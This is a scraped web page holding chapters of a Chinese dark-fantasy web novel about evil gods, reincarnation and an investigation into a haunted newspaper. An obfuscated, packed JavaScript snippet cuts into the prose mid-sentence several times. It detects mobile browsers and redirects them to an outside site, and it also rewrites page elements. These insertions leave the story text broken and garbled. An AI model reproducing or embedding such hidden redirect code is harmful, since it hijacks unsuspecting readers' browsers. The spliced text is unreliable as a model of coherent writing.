逄寒林缓了缓,站直身子。 “没事,我先走了。” 他往前走。走了几步,忽然听见席鸿秋在身后说: “逄老师,保重。” 他回过头,看见席鸿秋站在窗边,阳光照在他脸上,那双眼睛很亮,像是藏着什么。 他脑海里突然浮现一个想法——昨天看的那首词,好像也叫“元夕”。 十一 中午,逄寒林没去吃饭。 他坐在办公室里,手按着胸口,等着那股疼慢慢过去。桌上的教案还摊着,他一个字都看不进去。 门被推开,廖振山走进来。 “怎么不去吃饭?” “不饿。” 廖振山走过去,看着他。 “又疼了?” “没事。” 廖振山没说话,拉过一把椅子在他旁边坐下。 两个人就这么坐着,谁也没说话。 窗外的阳光照进来,在地上投下一块一块的光斑。有学生从窗外走过,说话的声音隐隐约约传进来。 “振山。” “嗯。” “你说,真的有上辈子吗?” 廖振山看着他。 “怎么又想起这个?” “不知道。”逄寒林说,“就是觉得,有些事好像发生过。有些人,好像认识过。” 廖振山沉默了一会儿。 “也许有。” “那你相信吗?” 廖振山没回答。 他看着逄寒林,那张脸在阳光里有些苍白,但眼睛很亮。他看了二十年了,从来没看够过。 “我相信。”他说。 逄寒林愣了一下。 “你相信?” “嗯。” “为什么?” 廖振山看着他。 “因为如果没有上辈子,”他说,“这辈子就太短了。” 逄寒林看着他,慢慢地笑了。 “廖老师,你今天怎么这么文艺。” “文艺吗?”廖振山说,“我说的是实话。” 逄寒林没接话。 窗外的阳光很亮,照在他们之间。 十二 那天晚上,逄寒林又做了那个梦。 梦里有一棵槐树,很大很大,枝叶遮天蔽日。槐树底下站着一个人,穿着灰扑扑的长衫,背对着他。 他走过去。 那个人慢慢转过身来。 他看清了那张脸。 是廖振山。 但又不是廖振山。那个人比他年长一些,脸上的线条更硬,眼睛里有他没见过的疲惫。 那个人看着他,笑了。 “君年。” 他愣住了。 “你叫我什么?” 那个人没回答,只是看着他,笑着开口。 “我等了你很久。” 逄寒林想说话,却发现自己开不了口。 “别怕。”他说,“我还会等。” 逄寒林醒来的时候,枕头是湿的。 他摸了摸胸口,那颗心脏跳得很稳,不疼了。 他躺了一会儿,看着天花板。 君年。 那个人叫他君年。 他不知道这个名字是什么意思,但他知道,他一定要告诉廖振山。 十三 正月十七的早上,逄寒林去找廖振山。 他敲门,没人应。他推门进去,屋里没人。 他坐在沙发上等。 等了很久,门开了。廖振山走进来,手里拎着早饭。 “你怎么来了?” “有事跟你说。” 廖振山放下早饭,在他旁边坐下。 “说。” 逄寒林看着他。 “我昨晚做梦,梦见你了。” 廖振山愣了一下。 “梦见什么?” “梦见你站在一棵槐树底下,穿着长衫,叫我‘君年’。” 廖振山的眼睛动了动。 “君年?” “你知道这个名字?” 廖振山沉默了一会儿。 “我昨晚也做了一个梦。”他说。 “梦见什么?” “梦见一个人,穿着长衫,站在槐树底下。”廖振山看着他,“他叫我‘司印’。” 逄寒林愣住了。 他们看着彼此,谁也没说话。 窗外的阳光照进来,很亮。 “振山。” “嗯。” “咱们是不是……”逄寒林顿了顿,“真的认识很久了?” 廖振山看着他。 “比二十年还久。”他说。 逄寒林笑了,脸上那股凶劲儿一窝蜂地跑开,不见了踪影。 于是廖振山也笑。 窗外的阳光很亮。 门口那棵老槐树的影子,透过窗户照进来,落在他们身上。 6. 邪神谱—心官 很久很久以前,有一个孩子,生来便有心疾。 他的心跳与旁人不同——时而急促如鼓点,时而迟缓如老钟。大夫说,这是胎里带的毛病,活不过及冠之年。 他的亲生父母听了,夜里将他裹在襁褓中,放在了城外的破庙里。 那夜下着雪。孩子哭了一夜,哭到声哑,哭到力竭,哭到不再哭。 次日天明,一对无儿无女的夫妇路过破庙,听见微弱的啼声,将他捡了回去。 他们给他起名叫“阿遇”,纪念他们的相遇。 为了给阿遇治病,养父卖了祖宅,养母当了嫁妆。家里的米缸一日比一日浅,药罐却一日比一日满。药很苦,阿遇吐了吐舌头,立刻得来养母塞来的一颗蜜饯。 时间一天天过去,阿遇看着养父母日渐消瘦的脸,心里像有什么东西在慢慢拧紧。 他问:“为什么要对我这么好?” 养母摸着他的头,笑着说:“因为你是我们的孩子。” 那年阿遇十二岁。 追债的人来了。养父被打断脊梁,养母被踢破脏腑。阿遇被养母塞进床底下的暗格里,捂着嘴,听着外面一声比一声低的惨叫,眼泪流了满脸,却不敢发出一点声音。 等他爬出来时,养父已经不动了。养母还睁着眼睛,看着他,嘴唇动了动,没说出话来。 阿遇跪在两具尸体中间,跪了很久。 阿遇成了阿弃。 别的小孩都这么叫他。 他成了乞丐。拖着那颗有毛病的心脏,在城里城外乞讨。冬天冷,夏天热,讨来的吃食多半馊了,喝的水多半脏了。他的病越来越重,胸口的疼痛越来越频繁,有时候疼得在地上打滚,滚完了爬起来,继续走。 他想死。但每次想到养父母临死前的眼神,他又不想死了。 他欠他们的。他得活着。 但他没活多久。 那年冬天特别冷。阿弃蜷在城门的角落里,身上只有一件破棉袄,风一吹就透。胸口的疼痛又开始了,比以往任何一次都疼。他蜷成一团,咬着牙,眼前一阵一阵发黑。 不断有人从他身边走过,看上一眼,再走开。 阿弃想说救救我,但张不开嘴。他想哭,但流不出泪。他只是蜷在那里,听着自己的心跳,一下,一下,越来越慢,越来越弱。 最后那一下,他想的是:不公平。 凭什么我生下来就有病? 凭什么我爹娘不要我? 凭什么阿爹阿娘要为我死? 凭什么那些人看着我死,却没人伸手? 凭什么? 凭什么? 凭什么—— 那颗心脏,在停止跳动的那一瞬间,炸开了。不是血肉横飞的炸,是无声无息的炸。阿弃的身体化为飞灰,但那股怨念没有消散。它凝聚成形,凝成一个三米高的黑影,光秃秃的枝干贯穿庞大的身躯,上面插着一颗心脏,微微跳动着——那是他、祂自己的心脏。 很快,心脏越来越多。 第二颗,第三颗,第四课……那些抛弃祂的人,那些追债的人,那些欺凌祂的人,那些路过祂却又视而不见的人…… 他们都欠祂的。 在收下全部“仇人”的心脏后,祂将目光移向了另一群人—— 那些被治愈了的,或者即将被治愈的,心疾的患者们。 以及,那些治病救人的医生。 祂想,这不公平。 于是祂要让他们“公平”。 后来,心脏越来越多。大的小的,鲜红的干枯的,密密麻麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邪神谱—五通神 很久很久以前,还没有“神”这个概念的时候,世上先有了“情”。 不是人的情。是天地自己的情。 风吹过峡谷,留下呜咽,那是怒。雨落在湖面,泛起涟漪,那是哀。日出时霞光万丈,那是喜。日落时暮色沉沉,那是忧。雷声滚滚碾过天际,那是恐。万物生长,欣欣向荣,那是思。 这些情无处可去,便在天地间游荡,聚了又散,散了又聚。不知过了多少年,它们聚得久了,竟聚出了形。 第一缕形,是个婴儿。 没人看见祂怎么来的。只记得某一日,深山老林里传出了一声啼哭。那哭声里什么都有——喜的亮,怒的烈,哀的沉,忧的绵,恐的尖,思的韧。百兽听了,伏地不敢动;飞鸟听了,坠落不敢飞。 有胆大的猎人循声找去,在林间空地上看见一个婴儿。浑身赤裸,蜷在落叶堆里,眼睛却是睁着的。 那双眼睛,漆黑如墨,深不见底。猎人只看了一眼,便觉得自己的喜怒哀乐都被那双眼睛吸了进去,整个人空落落的,像被掏空了。 他落荒而逃。 那婴儿就是五通神。天地间第一个由情绪凝成的存在。 祂在深山里长大。饿了喝露水,冷了晒太阳,无聊了便看着山下的村庄发呆。看那些人笑,看那些人哭,看那些人吵架打架,看那些人相亲相爱。 祂看着看着,就学会了笑。 一开始是模仿,后来变成了本能。再后来,祂发现笑的时候,那些人类会放下戒备,会愿意靠近祂。于是祂就经常笑。笑得眉眼弯弯,笑得温和无害。 但祂的眼睛始终是黑的。那里面没有笑,只有深不见底的情绪海洋。 不知过了多少年,山下开始有了“神”的说法。人类给那些他们解释不了的东西起了名字,建了庙,烧了香。五通神偶尔会混进人群里,听听他们怎么议论自己。 “五通神?”一个老人说,“没听过。新来的吧?” “听说是个邪神,管情绪的。”另一个年轻人说,“喜怒忧思恐,都归祂管。” “邪神?”老人摇头,“我看未必。邪神哪有祂那样的?我听隔壁村的人说,祂笑起来可好看了,跟菩萨似的。” 五通神听到这里,笑了。 祂第一次知道,原来在人类眼里,笑等于好,不笑等于坏。这么简单的道理,祂竟然才明白。 后来祂开始主动出现在人类面前。 有时候是个幼童,天真烂漫。有时候是个少年,意气风发。有时候是青年,温文尔雅。有时候是中年,沉稳厚重。有时候是老年,慈祥和蔼。男女莫辨,阴晴不定。 祂见的人多了,渐渐发现了一件事——人类的情绪,远比天地间的那些风、雨、日、月复杂得多。 同是喜,有人喜极而泣,有人喜不自胜,有人喜上眉梢,有人喜怒不形于色。 同是怒,有人怒发冲冠,有人怒不可遏,有人敢怒不敢言,有人怒其不争。 同是哀,有人哀毁骨立,有人哀而不伤,有人哀莫大于心死…… 每一种情绪,都有无数种面目。每一种面目,都值得祂细细品味。 于是祂开始收集。不是收集情绪本身,而是收集那些被情绪困住的人的故事。 有个书生,因科举不中而郁郁寡欢,最后投河自尽。祂记住了。 有个农妇,因儿子夭折而哭瞎双眼,最后疯癫而死。祂记住了。 有个将军,因战败被俘而含恨自刎,最后尸骨无存。祂记住了。 有个皇帝,因江山易主而悲愤交加,最后服毒身亡。祂记住了。 祂记住了太多太多,多到有些开始模糊,有些开始遗忘。 神也会忘。这是祂最大的弱点。 所以当祂遇见那个佚名的时候,祂眼前一亮。 那个年轻人,坐在私塾的窗前,看着外面的槐花发呆。窗外的槐花开得正好,香气一阵一阵飘进来。祂的眼神空空的,冷冷的,不像在看人,像是在看一件东西。 但祂没有看东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420259|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。祂在看花。 五通神知道,那是佚名——一个以盗取他人人生为生的种族。祂们不沾因果,不介入事件,天生的观察者。 更重要的是,祂们记忆互通,即使也会遗忘,但祂们的记忆就像有了备份,可以回顾。就像在看一本书,公正、客观。 祂们太适配了。 五通神笑了。这一次,祂的眼睛里也有了些许笑意。 “你帮我看着他们。”祂说,“我帮你活着。” 佚名看着祂,问:“为什么是我?” “因为你是佚名。”五通神说。 佚名沉默了很久。 “成交。” 从那天起,五通神有了一个永远不会忘的帮手。那些祂记住的、快要忘掉的故事,佚名会帮祂记住。那些祂没时间去看的人,佚名会帮祂去看。 九十多年过去了。五通神还是那副样子,眉眼温和,嘴角带笑。祂换过无数次形象,幼童、少年、青年、中年、老年,男女莫辨,阴晴不定。但那双眼睛,那双漆黑如墨、深不见底的眼睛,从来没变过。 那个佚名也换过无数次身份。林煦、边向云、魏余、宫禄、燕子楠、沈烬。每一个壳子都是不同的脸,但那双空茫而泛着冷意的眼睛,也从来没变过。 五通神每次都会去看祂。每次。 佚名问:“你为什么每次都要来?” 五通神笑了。 “每次。”祂说,“我答应过你。” 祂没说出口的是:因为这世上,只有你不会忘。只有你,配记住我。 ——据《邪物志·邪神谱》载,五通神乃天地间第一缕情绪凝成,成形于人类诞生之前。其掌管喜怒忧思恐五情,能随意变换五种形态——幼童、少年、青年、中年、老年,男女莫辨,阴晴不定。实力在邪神中数一数二,与童靈神关系不睦。世人皆以为祂喜怒无常,难以捉摸,却不知,祂只是太过长久地凝视着人类的情绪,凝视到把自己也忘了。祂需要的,是一个能记住祂的人。 8. 邪神谱—庳墟侯 寓言故事中,那些作恶多端之人,真的能够感化吗? 远古时期,有一对兄弟。 兄长名启,宅心仁厚,生来便眉眼温和,见老者扶之,见幼者护之,见困者助之。国人皆言,此子日后必成大器。统治者将他带在身边,亲自教导,视若己出。 弟弟名晟,与兄长同父同母,却生得一副乖戾性子。他不笑时可怖,笑时更可怖。见老者,他嫌其迟缓;见幼者,他厌其哭闹;见困者,他嗤其无能。国人皆避之,唯兄长不弃。 “舍弟只是年纪小。”启总是这样说。 晟最恨的就是这句话。 他恨兄长的宽容,恨兄长的仁厚,恨兄长看自己的眼神——那种眼神里没有责怪,只有怜悯。仿佛他是一只需要被照顾的幼兽,永远长不大,永远不配被认真对待。 那一日,晟犯下大错。 他趁兄长外出,潜入统治者的寝殿,想偷走那枚象征继承权的玉印。他也不知道自己偷来要做什么,只是想让兄长失去它。哪怕自己得不到,也不想让兄长得到。 他刚摸到玉印,便被侍卫拿住。 按律,盗玉印者,当斩。 启闻讯赶回,跪在统治者面前,长跪三日三夜,水米未进。最后统治者叹一口气,说:“罢了,看在你面上,留他一命。” 晟跪在兄长身后,听着兄长为自己求情的声音,心里像被什么东西堵住了。 那一刻,他的脑海空荡荡的,一句话也说不出。 统治者见他似有悔意,便不再追究。启继位之后,将弟弟封至庳墟——一处偏远之地,名义上是封地,实则是让他在那里静心思过。 临行前,启拉着弟弟的手,说:“庳墟虽远,但山清水秀,你在那里好好过日子。等过几年,我再调你回来。” 晟点头,泪流满面。 故事到此,似乎是个圆满的结局。浪子回头,兄弟情深,从此各安其命,岁月静好。 ——寓言嘛,总是不够客观,也不够全面的。 晟在赴任路上消磨了半个月。 半个月里,他日日看着朝廷传来的文书。哪里又修了路,哪里又减了税,哪里又开了仓。每一封文书上都写着兄长的名字,每一个消息里都是兄长的仁政。 没有人提他。没有人问他走到哪了,没有人问他过得怎么样,没有人问他是否已经悔改。 就连兄长,也一封信没有。 晟开始睡不着觉。一闭上眼,就看见兄长的脸。那张温和的、宽容的、悲悯的脸。和从前一模一样。 他看不清兄长的眼神,却总觉得带着一些失望。很快,那点儿失望在他眼里化为了嘲笑和奚落。 “他是不是故意的?”晟问自己,“把我打发到这种地方,然后天天在朝廷上风光,让所有人都知道他是好皇帝,我是废物?” 没人回答他。只有山风呼啸,夜鸟哀鸣。 第十七天夜里,晟做了一个梦。梦里他坐在龙椅上,群臣跪拜,万民欢呼。兄长跪在最前面,低着头,像他从前跪在统治者面前那样。 他掐着他的下巴,抬起他的头。那双眼睛蓄着泪水,眼里是和他自己如出一辙的不甘和怨恨。 他醒了,满身冷汗。 然后他笑了。 “原来我要的不是原谅。”他说,“我要的是他跪在我面前。” 他悄悄潜回都城,带着几个从匪营收买的亡命之徒。他们埋伏在兄长每日必经的巷道里,等着那辆马车经过。 马车来了。 晟的手在抖。他握紧刀,屏住呼吸。马车越来越近,越来越近—— 帘子掀开了。 露出的是兄长的脸。那张脸看见他,愣了一下,然后露出一个笑。那笑容和从前一模一样,温和的,宽容的,悲悯的。 “弟弟,”启说,“你回来了?” 晟的刀掉在地上。 侍卫的刀刺穿他的胸膛。 启看着他,沉默了很久。 然后他弯下腰,捡起那把刀,放进自己袖中。 “来人。”他说,“把这些刺客押下去。” 侍卫蜂拥而上,将那些亡命之徒尽数拿下。晟跪在地上,等着兄长来扶自己。 但启没有扶他。 他低头看着晟。 晟仰头看着他。 启的脸上依旧挂着笑,眼神却是冷的。 “弟弟,”启说,“你回庳墟去吧。” 晟愣住了,浑身发冷。 “这一次,不要回来了。” 晟被押送回庳墟。一路上他都在想,兄长那眼神是什么意思。是想保护他?是彻底放弃他了?还是…… 他不知道。他不敢想。 但他知道,这一次,他是真的回不去了。 庳墟山清水秀是假,穷山恶水才是真。当地人极度排外,对这位新来的侯爷充满敌意。晟到任的第二天,便被一群暴民围住。他手无寸铁,连挣扎都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420260|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挣扎,就被活活打死在街头。 临死前,他睁着眼睛,看着那些陌生的、狰狞的脸。他想的是:凭什么? 凭什么他要被发配到这种地方? 凭什么他要被这些刁民打死? 凭什么兄长坐拥天下,他连活都活不下去? 凭什么? 凭什么? 凭什么—— 他的尸体被扔在乱葬岗,无人收殓。尸身很快腐烂,引来盘旋的鸦鹫。 但他的怨念没有死。不甘、悔恨、憎恶,无数的恶念从他腐烂的尸身上滋生出来,像藤蔓一样蔓延,吞噬了整个庳墟城镇,吞噬了整座山头。 那些打死他的人,一个接一个地死去。死法各异,但有一个共同点——他们都有兄弟。 或亲或表,或养或义。 凶手是谁,不言而喻。 兄弟相残,手足相杀。庳墟成了一座诅咒之地。 不知过了多少年,在一个暴雨暂歇的午后,一个浑身漆黑的布娃娃悄然从落叶和湿泥中露出一角。 一个过路人捡起它,端详半晌,觉得有趣,便带回了家。 那娃娃辗转在一家又一家幼童之间。每一个得到它的孩子,都会在不久之后和兄弟姐妹反目成仇。轻则吵架打架,重则你死我活。 “要是被选中的是我就好了。” “要是哥哥早点死去就好了。” “凭什么是他不是我?” 娃娃听着这些心声,心里有什么东西在慢慢苏醒。 那是晟的怨念。那是庳墟的诅咒。那是永远无法释怀的、对“公平”的渴望。 后来有人给祂起了个名字——庳墟侯。 祂不再是那个乖戾的弟弟,不再是那个被发配的侯爷,不再是那具无人收殓的尸体。祂是邪神,专门挑唆兄弟姐妹之间阋墙。 祂不觉得自己做错了什么。 因为那些人类,本来就有这样的心思。祂只是让他们直面它而已。 就像当年那个寓言故事,总是不够客观,也不够全面的。 ——因为故事之后,还有故事。 ——据《邪物志·邪神谱》载,庳墟侯乃远古时期一被废黜的幼弟所化,因不甘、悔恨、憎恶等恶念凝而成形。其本体为一浑身漆黑的布娃娃,辗转于幼童之间,蛊诱兄弟姐妹相残。世人皆以为祂是挑拨离间的邪神,却不知,祂只是在替那些被忽视的、被抛弃的、被牺牲的孩子们,问一句“凭什么”。 9. 邪神谱—伥君子 你听过为虎作伥的故事吗? 传说被老虎吃掉的人,死后会变成伥鬼,帮老虎引诱下一个受害者。那些伥鬼没有自己的意志,只是虎的奴仆,虎的工具,虎的爪牙。它们生前是人,死后却成了最可悲的东西——连鬼都做不完整,只能替杀自己的凶手卖命。 但世人不知道的是,伥也有王。 很久很久以前,有一只老虎。不是普通的老虎,是山里最大、最凶、最狡猾的那一只。它吃过的人,多得数不清。那些人的魂魄被它困住,化作伥鬼,日日夜夜为它寻觅猎物。 那只老虎活了很久。久到山里的动物都换了十几代,久到山下的村庄都变成了城镇,久到它自己都忘了吃过多少人。 但它记得一件事:它从来没有吃饱过。 无论吃多少人,心里总有一个地方是空的。那个空的地方,让它永远饥饿,永远暴躁,永远不知餍足。 有一天,老虎遇见了一个人。 那人是个书生,衣衫褴褛,背着破烂的书箱,走在山路上。老虎从林间扑出,一口咬断他的脖子。和其他人一样,没什么特别。 但那人的魂魄没有变成伥鬼。 他站在自己尸体旁边,看着老虎啃噬自己的血肉,脸上没有恐惧,没有愤怒,甚至没有悲伤。他只是看着,像在看一件与自己无关的事。 老虎吃完,打了个哈欠,准备回洞睡觉。走了几步,忽然觉得不对。它回过头,看见那人的魂魄还站在原地,看着它。 “你怎么不走?”老虎问。 魂魄说:“走去哪儿?” “你是伥鬼。你要帮我找猎物。” 魂魄想了想,说:“为什么要帮你?” 老虎愣住了。从来没有伥鬼问过这个问题。那些魂魄被它吃掉之后,就自然而然地成了它的奴仆,从无例外。 “因为……因为规矩就是这样。”老虎说。 魂魄笑了。那笑容很淡,却让老虎心里发毛。 “谁的规矩?”魂魄问,“你的规矩?还是我的规矩?” 老虎答不上来。 魂魄走到它面前,伸出手,摸了摸它的头。老虎想躲,却发现自己动不了了。那只手穿过了它的头颅,直达最深处的神经。有什么东西从手里流出来,钻进老虎的脑子里。 是恨。 老虎活了那么久,吃过那么多人,见过那么多恨。但没有一种恨,能如此的纯粹。这恨里没有委屈,没有不甘,没有想要讨个说法的冲动。 它只接收到了一个念头——只有恨。 老虎的眼睛慢慢变红。它开始发抖,开始流涎,开始发出不像自己的低吼。它看着魂魄,那眼神已经不再是想吃掉他,而是想撕碎他、碾碎他、让他永远消失。 但魂魄只是笑着,看着它。 “现在,”魂魄说,“你是我的伥鬼了。” 老虎扑上去。但它扑到的只有空气。魂魄早已不在原地,而是飘在半空中,低头看着它。 “你很饿吧?”魂魄问,“那个永远填不满的空洞。我知道那是什么。” 老虎喘着粗气,死死盯着祂。 “那是恨。”魂魄说,“你在恨人类,恨他们抢走了你的家园。恨,深不可则,永不见底。所以你永远也吃不饱。” 祂抬起手,指向山下。 “去吧。去吃一顿饱饭吧。” 老虎冲下山去。那一夜,山下的村庄死了三十七口人。一个活口都没有。他们死前都睁着眼睛,看着彼此,眼神里全是恨。 魂魄站在山巅,看着那场屠杀,嘴角始终挂着淡淡的笑容。 从那一天起,山里的规矩变了。 伥鬼对祂毕恭毕敬,老虎对祂卑躬屈膝。 祂成了这座山的主人。 时间过了几百年,祂的地盘不断扩大,几乎整个国家都在祂的掌控之下。 人们怀揣着无穷的恨意,奉祂为神。 有人给祂起了个名字——伥君子。 不是王,不是神,是君子。 一个伪君子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420261|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祂让那些人被恨牵引着,一步步走向深渊。 而祂只是坐着,坐在山石上,坐在树梢上,坐在王位上。 坐在伥鬼们的背后,支着脸看着这一切。 然后,施施然起身,含着笑,去看下一场“戏”。 看兄弟相残,看姐妹反目,看父子成仇,看母女永诀。看那些曾经相爱的人,最后用最恶毒的眼神看着对方。 那些恨意,是祂最好的食粮。 山上偶尔也会来几个无所事事的邪神同僚。祂的人缘——神缘一向很好。 其中一个问他:“你为什么要这么做?” 祂笑了。那笑容和当年一样淡淡的,让人脊背发凉。 “因为我恨。”祂说。 “恨谁?” “恨所有人。”祂说,“恨他们活得如此安稳。能爱人,也能被人爱着。” 祂低下头,看着山下的万家灯火。 那些人类的坚韧的,即使死了那么多人,却还能忍着恐慌,建设出一座又一座城镇,繁衍出一代又一代子孙。 祂背在身后的手缓缓攥紧。 “所以我要让他们也尝尝我的滋味。”祂说,“让他们知道,恨是什么感觉。” 很多年后,一个佚名得到了一段八字和一块碎裂的长命锁。 祂写下八字,放下玉锁,闭上眼睛。 在杂乱的记忆里,祂看到了一个家。 一个被赌鬼,酒气,暴力和鲜血组成的,支离破碎的家。 祂睁开眼,合上簿子,点燃那页纸。 可恨之人必有可怜之处。 祂想。 但那又和祂有什么关系呢? 祂站起来,拍拍裤子上的灰,向屋外走去。 ——据《邪物志·邪神谱》载,伥君子乃一死于虎口的书生所化。其魂魄异于常人,未成伥鬼,反为伥王。后收服四方伥鬼,自成一方势力。其以恨意为食,挑唆人心,引诱骨肉相残。虽称“君子”,却不行君子之道,实乃伪君子也。 10. 窥灵 一 二〇〇五年三月,慕安市开始渐渐升温。 薄野明推开沈烬办公室的门,看见他站在窗前,看着外面槐树的新芽。阳光透过玻璃落在他身上,把他的影子拉得很长。桌上摊着一本书,是三个月前从一个盗版书店买来的旧杂志。 “沈总,有新发现。” 沈烬转过身。 薄野明把手里的东西放在桌上——一个牛皮纸信封,崭新的。信封上龙飞凤舞写着两个繁体字,“窺靈”。毛笔字,用的应该是很廉价的墨,墨迹有些洇开,但笔锋依旧凌厉,能看出写字的人腕力很足。 “哪儿来的?” “有人寄到公司的。”薄野明说,“没有寄件人,邮戳是乌景镇的。” 沈烬拿起信封,在手里掂了掂,然后打开。里面是一张照片。 照片是黑白的,边角已经泛黄,但保存得还算完好。拍的是几个人站在一栋二层小楼门口,楼是民国时期常见的砖木结构,墙上的白灰有些剥落,但整体还算齐整。楼门上挂着一块匾,写着“窺靈報社”四个字,字迹古朴,像是出自名家之手。 门口有棵槐树,叶子落光了,光秃秃的枝桠伸向天空,在灰白的背景里显得格外苍劲。 沈烬的目光落在照片右侧那个人身上。 那人内穿绿棕格纹马甲,外搭深棕色长款风衣,头上佩戴一顶与外套同色的软质平顶帽,鼻梁上还架着一副金框眼镜——像个西方侦探小说里的角色。他站在人群边缘,和其他人隔着一小段距离,像是刻意保持着某种疏离。他脸上没什么表情,微昂着头,眼睛虽然对着镜头,目光却好像穿过了它,在看别的地方。 那种眼神薄野明见过。在沈烬身上。 空的。冷的。虽然经过了伪装,却还是难掩那更深层的高傲与冷漠。那是只有站在因果之外的家伙才会有的眼神——置身事外,看什么都像在看一场已经知道结局的戏。 他讨厌这种眼神,却又克制不住的去贪艳和向往。 “我查了。”薄野明定了定神,说,“乌景镇。在北边,廊坪那里,很远。报社的旧址还在,不过,好像被改成景点了。网上的资料不多,只能查到它的起止时间和社长的名字——连珺之。” 沈烬没说话,把照片翻过来。背面用钢笔写着一行行名字,字迹各不相同: ……方小琴,连珺之,邹白……白苑。 白苑。 沈烬看着这两个字,很久没动。 祂在族人的记忆中见过这个名字。 它也曾属于一个佚名。 二 沈烬调查窥灵报社,是从二〇〇三年开始的。 那年春天,薄野明在一家盗版书店门口发现了几本杂志。店面很小,夹在两家餐馆中间,不注意看很容易错过。门口堆着各种旧书旧刊,灰尘厚得能写字。 杂志就混在那堆旧书里。封面印着“窥灵”两个字,出版日期是二〇〇三年三月。纸张粗糙,印刷简陋,像是自己印的。文章都很怪,讲的是那些失踪的人、死得蹊跷的人、活着的人说看见的怪东西。 杂志的署名更是属于一个死人:连珺之。 薄野明把杂志带回公司,给沈烬看。 沈烬看了很久。从第一篇看到最后一篇,一个字一个字地看。薄野明在旁边等着,看着窗外的天色一点点黯淡下去。 沈烬终于合上杂志。 “这个报社,”祂说,“或许和我要找的人有关。” 薄野明问:“要查吗?” 沈烬想了想。 “查。” 之后的两年多,薄野明一直在查。但窥灵报社就像一团雾,偶尔能看见,伸手一抓就散。杂志零零散散地出现,没有规律,没有固定渠道。有时候在盗版书店,有时候在街边小书亭,有时候在旧书摊上。知道的人少,买的人更少。 薄野明查到了窥灵报社的历史,查到了它的兴起与终结,查到了吊死在房梁上的社长连珺之。但也仅此而已。 关于那个“白苑”,则是除了那几篇写着他名字的报道以外,什么都查不到。 像是被杜撰出来的一样。 直到今天,这封信出现。 沈烬的手轻轻搭在信上,把照片看了又看,终于露出一抹笑。 祂想,是时候推进调查了。 调查那个,被五通神称为“第一名”的佚名。 三 二〇〇二年年末的时候,五通神来找过沈烬。 那时候沈烬刚处理完公司的一桩麻烦,正坐在办公室里发呆。窗外下着小雪,街上的行人很少,整个城市显得安静而空旷。 五通神忽然出现在他对面,还是穿着那身月白长衫,眉眼温和,嘴角带着笑。祂的出现没有任何征兆,像是一直坐在那里,只是之前被忽略了。 “有件事想了想还是该告诉你。”五通神说,“关于那个‘第一名’。” 沈烬看着祂。 “什么?” “故事结束了。”五通神说,“故事的结局是,勇者战胜了恶龙,他回到王国,和公主过上了和平安宁的生活。” 沈烬沉默了好一会儿,克制住自己问“公主”是谁的冲动。五通神说话总是这样,用比喻,用暗示,并且没有一次没有槽点。和祂打了这么多年交道,沈烬早就习惯了。 “祂做了什么?” “不知道。”祂说,无所谓地摊手,“童靈神都没讨到好的家伙,我可不敢知道。” 沈烬没再问。 五通神消失后,祂一个人坐了很久,直到窗外的雪停了,直到夜色完全笼罩下来。 那个同类,比祂更早存在,更早开始寻找,更早……“停下”。 祂从未留下任何可以捕捉的记忆。像一滴落入大海的水,无迹可寻,又无处不在。 四 二〇〇三年的暮春,沈烬开始调查“第一名”。 祂从芳华大剧院开始。 芳华大剧院在杨京市丽安县,很早以前就有了,后来翻修过几次,渐渐也荒废了。沈烬买的头等舱的机票,拉上了薄野明一起。薄野明一路都没问要去哪儿,只是跟着。 剧院建在县城边缘,周围是一片荒地。建筑是民国时期的风格,门脸很气派,但门窗都破了,墙上的海报也褪色得只剩些模糊的色块。风吹过的时候,破旧的门板吱呀作响。 沈烬在剧院里翻找了好久,没发现别的什么,只有一个大坑,在舞台上。 坑很深,边缘并不规则。周围的木板都翘起来,露出下面黑漆漆的空洞。 “怎么什么都没有?”薄野明抓了抓头发,有些烦躁。 沈烬瞥了他一眼,蹲下身抚摸坑洞的边缘。地板早已被灰尘侵占,湿的,混成了泥,黏腻腻地沾在手上,令人作呕。 祂在薄野明愕然的目光中一跃而下。 坑下是一条坑道,黑漆漆的,蜿蜒而没有尽头。沈烬掏出手电筒,橙黄色的光在黑暗中切开一道口子。祂缓步前行,脚步声在狭窄的空间里回荡,像有什么东西在跟着祂走。 走了很久,通道突然变宽,出现一个四四方方的空间。 什么都没有。 空荡荡的,只有墙角堆着些破碎的木板和生锈的铁钉。墙壁是泥土夯实的,有些地方已经塌了,露出后面的石头。 沈烬捂住鼻子。 空气中散发着一股点心放久了的甜腥味。 